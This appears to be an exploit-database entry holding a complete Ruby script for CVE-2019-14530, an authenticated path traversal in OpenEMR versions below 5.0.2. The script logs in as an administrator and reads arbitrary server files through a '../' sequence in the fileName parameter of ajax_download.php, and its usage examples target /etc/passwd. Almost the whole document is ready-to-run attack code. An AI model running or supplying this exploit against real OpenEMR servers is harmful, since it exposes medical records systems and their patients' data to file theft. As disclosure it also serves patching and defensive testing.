OpenEMR 5.0.1.7 Path Traversal

`# Title: OpenEMR 5.0.1.7 - 'fileName' Path Traversal (Authenticated) (2)  
# Exploit author: noraj (Alexandre ZANNI) for SEC-IT (http://secit.fr)  
# Exploit source: https://github.com/sec-it/exploit-CVE-2019-14530  
# Date: 2021-06-24  
# Vendor Homepage: https://www.open-emr.org/  
# Software Link: https://github.com/openemr/openemr/archive/v5_0_1_7.tar.gz  
# Docker PoC: https://github.com/sec-it/exploit-CVE-2019-14530/blob/master/docker-compose.yml  
# Version: < 5.0.2 (it means up to 5.0.1.7)  
# Tested on: OpenEMR Version 5.0.1  
# References: https://www.exploit-db.com/exploits/50037  
# CVE: CVE-2019-14530  
# CWE: CWE-22  
# Patch: https://github.com/openemr/openemr/pull/2592/files  
  
#!/usr/bin/env ruby  
  
require 'pathname'  
require 'httpx'  
require 'docopt'  
  
doc = <<~DOCOPT  
OpenEMR < 5.0.2 - (Authenticated) Path Traversal - Local File Disclosure  
  
Source: https://github.com/sec-it/exploit-CVE-2019-14530  
  
Usage:  
#{__FILE__} exploit <url> <filename> <username> <password> [--debug]  
#{__FILE__} -h | --help  
  
Options:  
<url> Root URL (base path) including HTTP scheme, port and root folder  
<filename> Filename of the file to be read  
<username> Username of the admin  
<password> Password of the admin  
--debug Display arguments  
-h, --help Show this screen  
  
Examples:  
#{__FILE__} exploit http://example.org/openemr /etc/passwd admin pass  
#{__FILE__} exploit https://example.org:5000/ /etc/passwd admin pass  
DOCOPT  
  
def login(root_url, user, pass, http)  
vuln_url = "#{root_url}/interface/main/main_screen.php?auth=login&site=default"  
params = {  
'new_login_session_management' => '1',  
'authProvider' => 'Default',  
'authUser' => user,  
'clearPass' => pass,  
'languageChoice' => '1'  
}  
  
http.post(vuln_url, form: params).body.to_s  
end  
  
def exploit(root_url, filename, http)  
vuln_url = "#{root_url}/custom/ajax_download.php?fileName=../../../../../../../../../#{filename}"  
  
http.get(vuln_url).body.to_s  
end  
  
begin  
args = Docopt.docopt(doc)  
pp args if args['--debug']  
  
if args['exploit']  
http = HTTPX.plugin(:cookies).plugin(:follow_redirects)  
login(args['<url>'], args['<username>'], args['<password>'], http)  
puts exploit(args['<url>'], args['<filename>'], http)  
end  
rescue Docopt::Exit => e  
puts e.message  
end  
  
`